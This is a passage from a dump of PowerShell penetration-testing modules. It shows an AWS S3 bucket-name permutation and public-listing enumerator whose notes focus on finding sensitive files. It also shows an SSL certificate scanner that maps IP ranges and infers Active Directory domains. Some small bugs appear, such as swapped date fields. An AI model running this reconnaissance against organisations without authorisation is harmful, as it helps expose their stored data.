248 | if (($PortIpSrc -eq $IpInfoIpSrc) -and ($PortIpDst -eq $IpInfoIpDst)){
249 |
250 | # Put results in the data table
251 | $OutputTbl.Rows.Add($IpInfoIpSrc,
252 | $IpInfoIpDst,
253 | $IpOrg,
254 | $IpInfoOwner,
255 | $ArinRef,
256 | $IpInfoStartRange,
257 | $IpInfoEndRange,
258 | $IpInfoCountry,
259 | $IpInfoCity,
260 | $IpInfoZip,
261 | $IpInfoISP,
262 | $PortIpPorts) | Out-Null
263 | }
264 | }
265 | }
266 | }
267 |
268 | End
269 | {
270 | # Status user
271 | Write-Host "Done."
272 |
273 | # Return the full result set
274 | $OutputTbl | Sort-Object Owner -Unique
275 | }
276 | }
277 |
--------------------------------------------------------------------------------
/Get-PublicAwsS3BucketList.psm1:
--------------------------------------------------------------------------------
1 | # ---------------------------------
2 | # Get-PublicAwsS3BucketList
3 | # ---------------------------------
4 | # Author: Scott Sutherland (@_nullbind), NetSPI 2019
5 | # Version: 0.1
6 | # Description: This function can be used to obtain a list of keys (files) stored in publically accessible AWS S3 buckets that
7 | # have been configured to provide the "list" privilege to "Everyone".
8 | # It supports targeting a single bucket, a list of buckets, and generating permutations of provided bucket names.
9 | # Ref: https://docs.aws.amazon.com/AmazonS3/latest/API/v2-RESTBucketGET.html
10 | # Ref: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-buckets
11 |
12 | <#
13 |
14 | Below are some command examples:
15 |
16 | # Run against single bucket
17 | Get-PublicAwsS3BucketListFromDomains -Verbose -S3Bucket "acme"
18 |
19 | # Run against single bucket with permutations
20 | Get-PublicAwsS3BucketListFromDomains -Verbose -S3Bucket "acme" -Permutate
21 |
22 | # Run against bucket names provided from a file with permutations
23 | Get-PublicAwsS3BucketListFromDomains -Verbose -FilePath C:\temp\list.txt -Permutate
24 |
25 | # Run against bucket names provided from the pipeline with permutations
26 | "test.com","testing.com" | Get-PublicAwsS3BucketListFromDomains -Verbose -Permutate
27 | GC Domains.txt | Get-PublicAwsS3BucketListFromDomains -Verbose -Permutate
28 |
29 | # Run against single bucket with permutations and store results to variable
30 | $Results = Get-PublicAwsS3BucketListFromDomains -Verbose -S3Bucket "acme" -Permutate
31 |
32 | # View results
33 | # Note: If you find valid bucket names, but they do not allow you to list the files, Google dorking for the bucket names can be helpful.
34 | # Google dork automation TBD
35 | $Results
36 |
37 | ...[SNIP]...
38 | Size : 82838
39 | ETag : "fc677f31206e306bfa753856a6528c9a"
40 | LastModified : 2015-08-12T13:15:22.000Z
41 | URL : https://thethingfromthatplace.s3.amazonaws.com/001241bd47b1c45e3ea37baf2fccbb00.pdf
42 | BucketName : thethingfromthatplace
43 | StorageClass : STANDARD
44 | Key : 001241bd47b1c45e3ea37baf2fccbb00.pdf
45 | FileType : pdf
46 | ...[SNIP]...
47 |
48 | # Write results to a csv file
49 | $Results | Export-Csv c:\windows\temp\results.csv -NoTypeInformation
50 |
51 | # Summarize Results
52 | # Note: This is useful for targeting file types likely to contain sensitive data
53 | $Results | Where-Object FileType -NotLike "*/*" | Group-Object FileType | Select Name,Count | Sort-Object count -Descending
54 |
55 | Name Count
56 | ---- -----
57 | pdf 2317
58 | jpg 408
59 | doc 73
60 | png 57
61 | docx 30
62 | gif 13
63 | mp3 11
64 | bmp 6
65 | zip 5
66 | pptx 4
67 | ics 3
68 | htm 3
69 | jpeg 3
70 | ppt 3
71 | wav 2
72 | wmv 2
73 | pdfundefined 1
74 | xlsx 1
75 | xls 1
76 |
77 | #>
78 |
79 | <#
80 |
81 | # Ability to take list of s3 buckets from pipeline or files
82 |
83 | # Todo
84 | # Create export options (csv / xml)
85 | # Create data summary output option
86 | # Create function level help
87 | # Add file download option
88 | # Add search for keywords and regex in file names and file contents
89 | # Switch to outputing psobject instead of data table, big buckets may take too long...
90 | # Add option to use authentication tokens
91 | # Add region support and look for user enumeration based on api options
92 | # Add integrations with services like cert stream and buckhacker
93 | # Add google / bing check for access denied errors
94 |
95 | #>
96 |
97 | Function Get-PublicAwsS3BucketList
98 | {
99 | [CmdletBinding()]
100 | Param(
101 |
102 | [string]$S3BucketName,
103 | $S3FileList,
104 | [string]$LastKey,
105 | [switch]$SuppressVerbose
106 | )
107 |
108 | begin
109 | {
110 | }
111 |
112 | process
113 | {
114 | # Create webclient
115 | $GetBucket = New-Object net.webclient
116 |
117 | # Ignore cert warning
118 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
119 |
120 | # Set the s3 url
121 | if($LastKey){
122 | $TargetUrl = "https://$S3BucketName.s3.amazonaws.com/?max-keys=1000&list-type=2&start-after=$LastKey"
123 | }else{
124 | $TargetUrl = "https://$S3BucketName.s3.amazonaws.com/?max-keys=1000&list-type=2"
125 |
126 | if(-not $SuppressVerbose){
127 | Write-Verbose "Sending initial request to server..."
128 | Write-Verbose "Please note that enumerating large (>100,000 keys) S3 buckets can take up to 5 minutes..."
129 | }
130 | }
131 |
132 | # Perform GET request for batch of 1000 records
133 | try{
134 | [xml]$S3Bucket = $GetBucket.DownloadString($TargetUrl)
135 | }catch{
136 |
137 |
138 | #$_.Exception.Message
139 | $ErrorCode = $_.Exception.Message.split("(")[2].replace(")","").replace("`"","")
140 | write-verbose "$ErrorCode - $TargetUrl"
141 |
142 | # Return record
143 | if ($ErrorCode -like "*403*"){
144 | New-Object PSObject -Property @{
145 | URL="$TargetUrl";
146 | BucketName = "$S3BucketName"
147 | Key="NA";
148 | FileType="NA"
149 | LastModified="NA";
150 | ETag="NA";
151 | Size="NA";
152 | StorageClass="NA"
153 | Comment="Access Forbidden"
154 | }
155 | }
156 | return
157 |
158 | }
159 |
160 | # Display bucket information
161 | $S3BucketInfo = $S3Bucket.ListBucketResult | Select-Object Name,StartAfter,IsTruncated,Keycount
162 | $BucketName = $S3BucketInfo.Name
163 | $BucketStartAfter = $S3BucketInfo.StartAfter
164 | $BucketTruncated = $S3BucketInfo.IsTruncated
165 | $BucketKeyCount = $S3BucketInfo.Keycount
166 |
167 | if(-not $SuppressVerbose){
168 | Write-Verbose " Base URL:https://$S3BucketName.s3.amazonaws.com/?max-keys=1000&list-type=2&start-after="
169 | Write-Verbose " Name: $BucketName"
170 | Write-Verbose " StartAfter: $BucketStartAfter"
171 | Write-Verbose " IsTruncated: $BucketTruncated"
172 | Write-Verbose " KeyCount: $BucketKeyCount"
173 | }
174 |
175 | # Get file list for current batch
176 | $S3FileList += $S3Bucket.ListBucketResult.Contents
177 |
178 | # Get key count so far
179 | $KeyCount = $S3FileList.Count
180 |
181 | # If information return is truncated continue to grab batches of 1000 records
182 | if ($S3BucketInfo.IsTruncated -eq $true){
183 |
184 | # Status user
185 | Write-Verbose "$KeyCount keys (files) found, requesting 1000 more..."
186 |
187 | # Update $LastKey variable
188 | $LastKey = $S3FileList | Select-Object key -Last 1 -ExpandProperty Key
189 |
190 | # Request more records
191 | Get-PublicAwsS3BucketList -S3BucketName $S3BucketName -LastKey $LastKey -S3FileList $S3FileList
192 | }else{
193 |
194 | # Return final count in verbose message
195 | $FinalKeyCount = $S3FileList.Count
196 | Write-Verbose "$FinalKeyCount keys (files) were found. - https://$S3BucketName.s3.amazonaws.com/?max-keys=1000&list-type=2"
197 | if(-not $SuppressVerbose){
198 | Write-Verbose "$S3BucketName - Generating output table..."
199 | }
200 |
201 | # Flatten table structure
202 | $S3FileList |
203 | ForEach-Object{
204 |
205 | # Filter out files without extensions
206 | $CurrentKey = $_.key
207 | $CurrentKeyReverse = ([regex]::Matches($CurrentKey,'.','RightToLeft') | ForEach {$_.value}) -join ''
208 | $CurrentKeyExtReverse = $CurrentKeyReverse.split('.')[0]
209 | $CurrentKeyExt = ([regex]::Matches($CurrentKeyExtReverse,'.','RightToLeft') | ForEach {$_.value}) -join ''
210 |
211 | # Return record
212 | New-Object PSObject -Property @{
213 | URL="https://$S3BucketName.s3.amazonaws.com/$CurrentKey";
214 | BucketName = $BucketName
215 | Key=$_.key;
216 | FileType=$CurrentKeyExt.ToLower()
217 | LastModified=$_.LastModified;
218 | ETag=$_.ETag;
219 | Size=$_.Size;
220 | StorageClass=$_.StorageClass;
221 | Comment="List Permission Granted to Everyone";
222 | }
223 | }
224 | }
225 | }
226 |
227 | end
228 | {
229 | }
230 | }
231 |
232 |
233 | Function Get-PublicAwsS3BucketListFromDomains
234 | {
235 | [CmdletBinding()]
236 | Param(
237 |
238 | [Parameter(Mandatory = $false,
239 | HelpMessage = 'Provide a file containing domain names or desired S3 bucket names.')]
240 | [string]$BucketList,
241 |
242 | [Parameter(Mandatory = $false,
243 | ValueFromPipeline = $true,
244 | ValueFromPipelineByPropertyName = $true,
245 | HelpMessage = 'Provide the base S3Bucket name.')]
246 | [string]$S3Bucket,
247 |
248 | [Parameter(Mandatory = $false,
249 | HelpMessage = 'Perform enumeration using basic permutations.')]
250 | [switch]$Permutate
251 | )
252 |
253 | begin{
254 |
255 | # Create a list of words to be used for permutations
256 | $Permutations = New-Object System.Collections.ArrayList
257 | [void]$Permutations.Add("www")
258 | [void]$Permutations.Add("web")
259 | [void]$Permutations.Add("backup")
260 | [void]$Permutations.Add("logs")
261 | [void]$Permutations.Add("dev")
262 | [void]$Permutations.Add("qa")
263 | [void]$Permutations.Add("uat")
264 | [void]$Permutations.Add("staging")
265 | [void]$Permutations.Add("prod")
266 | [void]$Permutations.Add("api")
267 | [void]$Permutations.Add("test")
268 | [void]$Permutations.Add("test123")
269 | [void]$Permutations.Add("images")
270 | [void]$Permutations.Add("data")
271 | [void]$Permutations.Add("public")
272 | [void]$Permutations.Add("private")
273 | [void]$Permutations.Add("internal")
274 | [void]$Permutations.Add("secret")
275 | [void]$Permutations.Add("files")
276 | [void]$Permutations.Add("tmp")
277 | [void]$Permutations.Add("temp")
278 | [void]$Permutations.Add("key")
279 | [void]$Permutations.Add("keys")
280 | [void]$Permutations.Add("site")
281 | [void]$Permutations.Add("test123")
282 | [void]$Permutations.Add("test123")
283 | [void]$Permutations.Add("123")
284 | [void]$Permutations.Add("12")
285 | [void]$Permutations.Add("asdf")
286 |
287 | # Create list to conduct permutations against
288 | $List_PrePerm = New-Object System.Collections.ArrayList
289 |
290 | # Create list for storing S3 buckets to test
291 | $List_PostPerm = New-Object System.Collections.ArrayList
292 |
293 | # Load the file contents into preperm
294 | if($BucketList){
295 |
296 | # Check if file exists
297 | if(Test-Path $BucketList){
298 |
299 | Write-Verbose "Importing domains from $BucketList."
300 |
301 | # Load contents of file
302 | GC $BucketList |
303 | ForEach-Object{
304 |
305 | # Get domain
306 | $Domain = $_
307 |
308 | # Remove domain extenstion
309 | $DomainNoExt = $Domain.Replace("mail.", "").Replace("www.", "").split('.')[0]
310 |
311 | # Add to preperm list
312 | $List_PrePerm.Add("$DomainNoExt") | Out-Null
313 |
314 | # Standalone word
315 | $List_PostPerm.Add("$DomainNoExt")| Out-Null
316 | }
317 |
318 | }else{
319 | Write-Verbose "Importing domains from $BucketList Failed. File does not exist."
320 | }
321 | }
322 | Write-Verbose "Importing domains from pipeline and provided parameters."
323 | }
324 |
325 | process{
326 |
327 | # Process domain names provided as a parameter or pipeline item
328 | if($S3Bucket){
329 | $CleanBucket = $S3Bucket.Replace("mail.", "").Replace("www.", "").split('.')[0]
330 | #$CleanBucket = $S3Bucket
331 | $List_PrePerm.Add("$CleanBucket") | Out-Null
332 |
333 | # Standalone word
334 | $List_PostPerm.Add("$CleanBucket")| Out-Null
335 | }
336 | }
337 |
338 | end{
339 |
340 | # Get count of List_PrePerm
341 | $ListPrePerm_Count = $List_PrePerm.count
342 |
343 | if($ListPrePerm_Count -eq 0){
344 | Write-Verbose "No files or S3 bucket names were provided for processing."
345 | return
346 | }
347 |
348 | if($Permutate){
349 |
350 | # Generate permutations
351 | Write-Verbose "$ListPrePerm_Count domains provided."
352 |
353 | # Create permutations for each domain
354 | $List_PrePerm |
355 | ForEach-Object{
356 |
357 | $S3Name = $_
358 |
359 | # Create permutation for s3 bucket
360 | $Permutations |
361 | ForEach-Object{
362 |
363 | # Concat to front
364 | $List_PostPerm.Add("$_$S3Name")| Out-Null
365 |
366 | # Add to front with dash
367 | $List_PostPerm.Add("$_-$S3Name")| Out-Null
368 |
369 | # Add to back with dash
370 | $List_PostPerm.Add("$S3Name-$_") | Out-Null
371 | }
372 | }
373 | }
374 |
375 | # Perform requests if there is anything to process
376 | if($List_PostPerm){
377 |
378 | # Check if each permutation exists as s3 bucket
379 | $S3CheckCount = $List_PostPerm.count
380 | $MyCount = 0
381 | Write-Verbose "$S3CheckCount permutations (S3 buckets) will be checked."
382 | $List_PostPerm | Get-Unique |
383 | ForEach-Object {
384 | $MyCount = $MyCount + 1
385 | Write-Verbose "Testing $MyCount of $S3CheckCount "
386 | Get-PublicAwsS3BucketList -S3BucketName $_ -SuppressVerbose
387 | }
388 | }
389 | }
390 | }
391 |
392 |
393 | Function Get-PublicAwsS3BucketListFromS3List
394 | {
395 | [CmdletBinding()]
396 | Param(
397 |
398 | [string]$FilePath
399 | )
400 | }
401 |
402 |
403 | Function Get-PublicAwsS3Config
404 | {
405 | [CmdletBinding()]
406 | Param(
407 |
408 | [string]$S3BucketName
409 | )
410 |
411 | <#
412 | # Check Access to management features
413 | Get-PublicAwsS3Config -S3BucketName "thethingfromthatplace" -Verbose
414 |
415 | # Get initial inventory
416 | $results = (Get-PublicAwsS3Config -S3BucketName "thethingfromthatplace" | Where-Object accessible -Like "Yes" | Select details )
417 | [xml]$Inventory = $results.Details
418 | $Inventory.ListBucketResult.Contents
419 | #>
420 |
421 | # Create list of taret urls
422 | $MyTargetUrls = New-Object System.Collections.ArrayList
423 | $MyTargetUrls.Add("policy") | Out-Null
424 | $MyTargetUrls.Add("requestPayment") | Out-Null
425 | $MyTargetUrls.Add("tagging") | Out-Null
426 | $MyTargetUrls.Add("versioning") | Out-Null
427 | $MyTargetUrls.Add("website") | Out-Null
428 | $MyTargetUrls.Add("encryption") | Out-Null
429 | $MyTargetUrls.Add("lifecycle") | Out-Null
430 | $MyTargetUrls.Add("acl") | Out-Null
431 |
432 | # Define output table
433 | $TblOutput = New-Object System.Data.DataTable
434 | $TblOutput.Columns.Add("Feature") | Out-Null
435 | $TblOutput.Columns.Add("Accessible") | Out-Null
436 | $TblOutput.Columns.Add("Details") | Out-Null
437 |
438 |
439 | # Attempt to access each target url
440 | $WebClient = New-Object net.webclient
441 | $webclient.Headers.Add("Host:$S3BucketName.s3.amazonaws.com")
442 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
443 | Write-Output "Checking access to $S3BucketName AWS S3 Resources..."
444 | $MyTargetUrls |
445 | ForEach-Object{
446 |
447 | $Feature = $_
448 |
449 | Write-Verbose "Trying https://s3.amazonaws.com/$_"
450 |
451 | try{
452 | $Record = $WebClient.DownloadString("https://s3.amazonaws.com/$_")
453 | $TblOutput.Rows.Add($Feature,"Yes",$record) | Out-Null
454 |
455 | }catch{
456 | $ErrorCode = $_.Exception.Message.split("(")[2].replace(")","").replace("`"","")
457 | $TblOutput.Rows.Add($Feature,"No",$ErrorCode) | Out-Null
458 | }
459 | }
460 |
461 | $TblOutput
462 |
463 | }
464 |
--------------------------------------------------------------------------------
/Get-SSLCertInfo-Scan.psm1:
--------------------------------------------------------------------------------
1 | <#
2 | Script: Get-SSLCertInfo-Scan.psm1
3 |
4 | Version: 1.8
5 |
6 | Author: Scott Sutherland (@_nullbind), NetSPI
7 | References: This was based on work by Rob VandenBrink.
8 | References: https://isc.sans.edu/forums/diary/Assessing+Remote+Certificates+with+Powershell/20645/
9 |
10 | Description: This script accepts IP/Port combinations and can be used to read information such as
11 | subject, name, and issuerfrom remote SSL certificates. See examples for more information.
12 | Examples:
13 |
14 | # Target specific IP and port
15 | Get-SSLCertInfo-Scan -Verbose -IPAddress 192.168.1 -Port 443
16 |
17 | # Target specific IP Range and port options
18 | Get-SSLCertInfo-Scan -Verbose -IPAddress 192.168.1 -cidr 24 -Port 443
19 | Get-SSLCertInfo-Scan -Verbose -IPAddress 192.168.1 -mask 255.255.255.0 -Port 443
20 | Get-SSLCertInfo-Scan -Verbose -Start 192.168.1 -End 192.168.1.150 -Port 443
21 |
22 | # Target hostname and port
23 | Get-SSLCertInfo-Scan -Verbose -IPAddress domain.com -Port 443
24 |
25 | # Target a list of IP:Port from file, one per line; Display full records
26 | Get-SSLCertInfo-Scan -Verbose -InputFile C:\temp\list.txt
27 |
28 | # Target a list of IP:Port from file, one per line; Display a list of domains discovered.
29 | Get-SSLCertInfo-Scan -Verbose -InputFile C:\temp\list.txt -OnlyDomainList
30 |
31 | # Target a list of IP:Port from file, one per line; Look up associated arin info.
32 | Get-SSLCertInfo-Scan -Verbose -InputFile C:\temp\list.txt -ArinLookup
33 |
34 | # Target a list of IP:Port from pipeline
35 | "127.0.0.1:50" | Get-SSLCertInfo-Scan -Verbose
36 |
37 | # Target a list of IP:Port from file, one per line; Display a list of domains discovered. Show potential
38 | # Active Directory domains in verbose output based on number of ".".
39 | Get-SSLCertInfo-Scan -Verbose -InputFile C:\temp\list.txt -OnlyDomainList -ShowAdDomains
40 |
41 | # Target all parameters, pipeline, and file inputs. Store the results and display them
42 | $Results = "127.0.0.1:50","127.0.0.2:50", | Get-SSLCertInfo-Scan -Verbose -InputFile C:\temp\list.txt -IPAddress 127.0.0.3 -Port 443
43 | $Results
44 | $Results | Export-CSV -NoTypeInformation output.csv
45 | $Results | Out-GridView
46 |
47 | # Todo
48 | Add runspace threading
49 | Add nmap importer
50 | Add nessus importer
51 | #>
52 |
53 | function Get-SSLCertInfo-Scan {
54 |
55 | [CmdletBinding()]
56 | Param(
57 | [Parameter(Mandatory=$false,
58 | HelpMessage="File containing URLs/IP and ports IP:Port.")]
59 | [string]$InputFile,
60 | [Parameter(Mandatory=$false,
61 | HelpMessage="Only display list of uniq domains.")]
62 | [switch]$OnlyDomainList,
63 | [Parameter(Mandatory=$false,
64 | HelpMessage="List potential Active Directory domains.")]
65 | [switch]$ShowAdDomains,
66 | [Parameter(Mandatory=$false,
67 | HelpMessage="Look up ip address owner.")]
68 | [switch]$ArinLookup,
69 | [Parameter(Mandatory=$false,
70 | HelpMessage="IP Address.")]
71 | [string]$IPAddress,
72 | [Parameter(Mandatory=$false,
73 | HelpMessage="Used with the ipaddress parameter to define a subnet to be scanned.")]
74 | [string]$Cidr,
75 | [Parameter(Mandatory=$false,
76 | HelpMessage="Used with the ipaddress parameter to define a subnet to be scanned.")]
77 | [string]$mask,
78 | [Parameter(Mandatory=$false,
79 | HelpMessage="Used to define first ip address in range.")]
80 | [string]$StartIp,
81 | [Parameter(Mandatory=$false,
82 | HelpMessage="Used to define end ip address in range.")]
83 | [string]$EndIp,
84 | [Parameter(Mandatory=$false,
85 | HelpMessage="TCP port.")]
86 | [string]$Port,
87 | [Parameter(Mandatory=$false,
88 | ValueFromPipeline = $true,
89 | ValueFromPipelineByPropertyName = $true,
90 | HelpMessage="IP port combo IP:PORT.")]
91 | [string]$IPPort
92 | )
93 |
94 | Begin
95 | {
96 | Write-Verbose "Creating a list of targets"
97 |
98 | # Create output table
99 | $CertificateInfo = New-Object System.Data.DataTable
100 | $null = $CertificateInfo.Columns.Add("IpAddress")
101 | $null = $CertificateInfo.Columns.Add("Port")
102 | $null = $CertificateInfo.Columns.Add("Subject")
103 | $null = $CertificateInfo.Columns.Add("EffectiveDate")
104 | $null = $CertificateInfo.Columns.Add("ExpirationDate")
105 | $null = $CertificateInfo.Columns.Add("Issuser")
106 | $null = $CertificateInfo.Columns.Add("Verified")
107 |
108 | # Create targets table
109 | $Targets = New-Object System.Data.DataTable
110 | $null = $targets.Columns.Add("IPAddress")
111 | $null = $targets.Columns.Add("Port")
112 |
113 | # If port provided in parameter
114 | if(-not $TargetPort -and $Port){
115 | $TargetPort = $Port
116 | }
117 |
118 | # If port not provided in file, and none provided in parameter - default port :)
119 | if(-not $TargetPort){
120 | $TargetPort = "443"
121 | }
122 |
123 | # Process single target with defined port
124 | if($IPAddress -and $Port -and -not $cidr -and -not $mask)
125 | {
126 | # Add target to list
127 | Write-Verbose " - Importing targets from parameters"
128 | $targets.Rows.Add($IPAddress,$Port) | Out-Null
129 | }
130 |
131 | # Process single target without defined port
132 | if($IPAddress -and -not $Port -and -not $cidr -and -not $mask)
133 | {
134 | # Add target to list
135 | $Port = "443"
136 | Write-Verbose " - Importing targets from parameters"
137 | $targets.Rows.Add($IPAddress,$Port) | Out-Null
138 | }
139 |
140 | # Process single IP:Port target
141 | if($IPPort)
142 | {
143 | $Target = $IPPort -split(":")[0]
144 | $TargetPort = $Target[1]
145 | $TargetIP = $Target[0]
146 |
147 | # Add to targets list
148 | Write-Verbose " - Importing targets from parameters - alt format"
149 | $targets.Rows.Add($TargetIp,$TargetPort) | Out-Null
150 | }
151 |
152 | # Process IP range - CIDR
153 | if($IPAddress -and $Cidr){
154 | Write-Verbose " - Importing IP range cidr - $IPAddress/$cidr on $TargetPort"
155 | Get-IPrange -ip $IPAddress -cidr $Cidr|
156 | ForEach-Object{
157 | $targets.Rows.Add($_,$TargetPort) | Out-Null
158 | }
159 | }
160 |
161 | # Process IP range - Mask
162 | if($IPAddress -and $mask){
163 | Write-Verbose " - Importing IP range mask $IPAddress - $mask on $TargetPort"
164 | Get-IPrange -ip $IPAddress -mask $mask|
165 | ForEach-Object{
166 | $targets.Rows.Add($_,$TargetPort) | Out-Null
167 | }
168 | }
169 |
170 | # Process IP range - Start/End
171 | if($StartIp -and $EndIp){
172 | Write-Verbose " - Importing IP range $startip - $Endip on $TargetPort"
173 | Get-IPrange -start $StartIp -end $EndIp |
174 | ForEach-Object{
175 | $targets.Rows.Add($_,$TargetPort) | Out-Null
176 | }
177 | }
178 |
179 | # Process a list of targets
180 | if($InputFile){
181 |
182 | # Get target list from file
183 | if(Test-Path -Path $InputFile){
184 |
185 | Write-Verbose " - Importing targets from $InputFile"
186 | $IpPortList = gc $InputFile
187 | $IpPortList |
188 | ForEach-Object {
189 | $Target = $_ -split(":")[0]
190 | $TargetPort = $Target[1]
191 | $TargetIP = $Target[0]
192 |
193 | # If port provided in parameter
194 | if(-not $TargetPort -and $Port){
195 | $TargetPort = $Port
196 | }
197 |
198 | # If port not provided in file, and none provided in parameter - default port :)
199 | if(-not $TargetPort){
200 | $TargetPort = "443"
201 | }
202 |
203 | # Add to targets list
204 | $targets.Rows.Add($TargetIp,$TargetPort) | Out-Null
205 | }
206 | }else{
207 | Write-Verbose " - File path is invalid."
208 | }
209 | }
210 | }
211 |
212 | Process
213 | {
214 | # Add targets from the pipeline
215 | if($_){
216 |
217 | Write-Verbose " - Importing targets from pipeline"
218 |
219 | # Get target list from pipeline
220 | $Target = $_ -split(":")[0]
221 | $TargetIp = $Target[1]
222 | $TargetPort = $Target[0]
223 |
224 | # Add to targets list
225 | $targets.Rows.Add($TargetIp,$TargetPort) | Out-Null
226 | }
227 | }
228 |
229 | End
230 | {
231 |
232 | # ------------------------------
233 | # Scrape cert info from targets
234 | # ------------------------------
235 | Write-Verbose "Grabbing certificate information"
236 | $DraftResults = $targets |
237 | ForEach-Object {
238 | $CurrentIp = $_.IpAddress
239 | $CurrentPort = $_.Port
240 | Get-CertInfo -IPAddress $CurrentIp -Port $CurrentPort -ErrorAction SilentlyContinue
241 | }
242 |
243 | # ------------------------------
244 | # Get unique list of domains
245 | # ------------------------------
246 | $AltDomainList = $DraftResults | where SubjectAltName -notlike "" | Select-Object SubjectAltName -ExpandProperty SubjectAltName
247 | $OrgDomainList = $DraftResults | where SubjectDomain -notlike "" | Select-Object SubjectDomain -ExpandProperty SubjectDomain
248 | $DomainList = $AltDomainList+$OrgDomainList | Select-Object @{Name="DomainName";Expression={$_}} | Sort-Object DomainName -Unique
249 | $DomainCount = $DomainList.count
250 | Write-Verbose "$DomainCount unique domains found."
251 |
252 |
253 | # ------------------------------
254 | # Resolve arin if asked
255 | # ------------------------------
256 | if($ArinLookup -and (-not $OnlyDomainList)){
257 | Write-Verbose "Processing arin lookups"
258 | $DraftResults | Where-Object SubjectDomain -NotLike "" |
259 | foreach {
260 | $rdomain = $_.SubjectDomain
261 | $rsubdomain = $_.SubjectAltName
262 | $rip = $_.ipaddress
263 | $rport = $_.port
264 | Write-Verbose " - Processing arin lookups - $rip ($rdomain - $rsubdomain)"
265 | Invoke-Arin-Lookup -Verbose -IpAddress $rip -IpPort $_.port -Domain $rdomain -SubDomain $rsubdomain -Subject $_.Subject -SubjectCountry $_.SubjectCountry -SubjectState $_.SubjectState -SubjectCity $_.SubjectCity -SubjectOrganization $_.SubjectOrganization -SubjectOU $_.SubjectOU -Issuer $_.Issuer -ExpirationDate $_.ExpirationDate -EffectiveDate $_.EffectiveDate -Verified $_.Verified -thumbprint $_.thumbprint -ErrorAction SilentlyContinue
266 | }
267 | }
268 |
269 | # Display Results
270 | If($OnlyDomainList){
271 | $DomainList
272 | }else{
273 | if(-not $ArinLookup){
274 | $DraftResults | Sort-Object SubjectDomain,SubjectAltName -Unique
275 | }
276 | }
277 |
278 | # ------------------------------
279 | # Check for potential ad domains
280 | # ------------------------------
281 | if($ShowAdDomains){
282 |
283 | # All domains with > 2 ".", filter out www, drop host name, uniuque display
284 | Write-Verbose "Checking for potential Active Directory domains."
285 | $PotentialAdDomains = New-Object System.Data.DataTable
286 | $PotentialAdDomains.Columns.add("DomainName") | Out-Null
287 | $DomainList |
288 | ForEach-Object {
289 | #$CheckDomain = "hostname.subdomain.domain.com"
290 | $CheckDomain = $_.DomainName
291 | $CheckDomainArray = $CheckDomain.Split(".")
292 | $CheckDomainNum = $CheckDomainArray.GetUpperBound(0);
293 | if(($CheckDomainNum -gt 2) -and ($CheckDomain -notlike "*www.*")){
294 |
295 | # Grab the potential ad domain by dropping the hostname
296 | #$PotentialAdDomains += [string]($CheckDomainArray[1..$CheckDomainNum] -join("."))
297 | $PotentialAdDomains += [string]($CheckDomainArray[1..$CheckDomainNum] -join("."))
298 | }
299 | }
300 |
301 | # Display final list
302 | $PotentialAdDomainsUnique = $PotentialAdDomains | Select-Object -Unique
303 | $AdCount = $PotentialAdDomainsUnique.count
304 | Write-Verbose "$AdCount potential Active Directory domains were found."
305 | $PotentialAdDomainsUnique | foreach {write-verbose "- $_"}
306 |
307 | # Write log
308 | if($ADOutputFile){
309 | $PotentialAdDomainsUnique | Out-File $ADOutputFile
310 | }
311 | }
312 | }
313 | }
314 |
315 | function Get-CertInfo
316 | {
317 | [CmdletBinding()]
318 | Param (
319 | [string]$IPAddress,
320 | [Parameter(Mandatory=$false,
321 | HelpMessage="TCP port.")]
322 | [string]$Port
323 | )
324 |
325 | write-verbose " - Grabbing certificate info from $IPAddress on $port"
326 |
327 | # Create connection to server
328 | $TCPClient = New-Object -TypeName System.Net.Sockets.TCPClient
329 | $TcpSocket = New-Object Net.Sockets.TcpClient($IPAddress,$Port)
330 | $TcpSocket.ReceiveTimeout = 5000;
331 |
332 | # Establish stream
333 | $tcpstream = $TcpSocket.GetStream()
334 | $Callback = {param($sender,$cert,$chain,$errors) return $true}
335 | $SSLStream = New-Object -TypeName System.Net.Security.SSLStream -ArgumentList @($tcpstream, $True, $Callback)
336 | $SSLStream.AuthenticateAsClient($IPAddress)
337 |
338 | # Grab cert information
339 | $Certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2($SSLStream.RemoteCertificate)
340 |
341 | # Clean up
342 | $SSLStream.Dispose()
343 | $TCPClient.Dispose()
344 |
345 | $SubjectArray = $Certificate.GetName() -split(",")
346 | $SubjectArray |
347 | ForEach-Object{
348 |
349 | $item = $_.ToString().Trim()
350 | $itemParts = $item -split("=")
351 |
352 | # Set country
353 | if($itemParts[0] -like "C"){
354 | $Country = $itemParts[1]
355 | }
356 |
357 | # Set state
358 | if(($itemParts[0] -like "S") -or ($itemParts[0] -like "ST")){
359 | $State = $itemParts[1]
360 | }
361 |
362 | # Set city
363 | if($itemParts[0] -like "L"){
364 | $City = $itemParts[1]
365 | }
366 |
367 | # Set Oranization
368 | if($itemParts[0] -like "O"){
369 | $Organization = $itemParts[1]
370 | }
371 |
372 | # Set Oranization Unit
373 | if($itemParts[0] -like "OU"){
374 | $OranizationalUnit = $itemParts[1]
375 | }
376 |
377 | # Set Domain
378 | if($itemParts[0] -like "CN"){
379 | $Domain = $itemParts[1]
380 | }
381 | }
382 |
383 | # Get Alternative Domain List
384 | if($Certificate.DnsNameList){
385 | $Certificate.DnsNameList |
386 | ForEach-Object{
387 |
388 | [string]$AltDomain = $_[0];
389 | $CertInfo = New-Object PSObject
390 | $CertInfo | add-member Noteproperty IpAddress $IPAddress;
391 | $CertInfo | add-member Noteproperty Port $Port;
392 | $CertInfo | add-member Noteproperty Subject $Certificate.GetName();
393 | $CertInfo | add-member Noteproperty SubjectCountry $Country;
394 | $CertInfo | add-member Noteproperty SubjectState $State;
395 | $CertInfo | add-member Noteproperty SubjectCity $City;
396 | $CertInfo | add-member Noteproperty SubjectOrganization $Organization;
397 | $CertInfo | add-member Noteproperty SubjectOU $OranizationalUnit;
398 | $CertInfo | add-member Noteproperty SubjectDomain $Domain;
399 | $CertInfo | add-member Noteproperty SubjectAltName $AltDomain;
400 | $CertInfo | add-member Noteproperty Issuer $Certificate.GetIssuerName();
401 | $CertInfo | add-member Noteproperty ExpirationDate $Certificate.GetEffectiveDateString();
402 | $CertInfo | add-member Noteproperty EffectiveDate $Certificate.GetExpirationDateString();
403 | $CertInfo | add-member Noteproperty Verified $Certificate.Verify();
404 | $CertInfo | add-member Noteproperty thumbprint $Certificate.Thumbprint;
405 | $CertInfo
406 | }
407 | }else{
408 |
409 | $CertInfo = New-Object PSObject
410 | $CertInfo | add-member Noteproperty IpAddress $IPAddress;
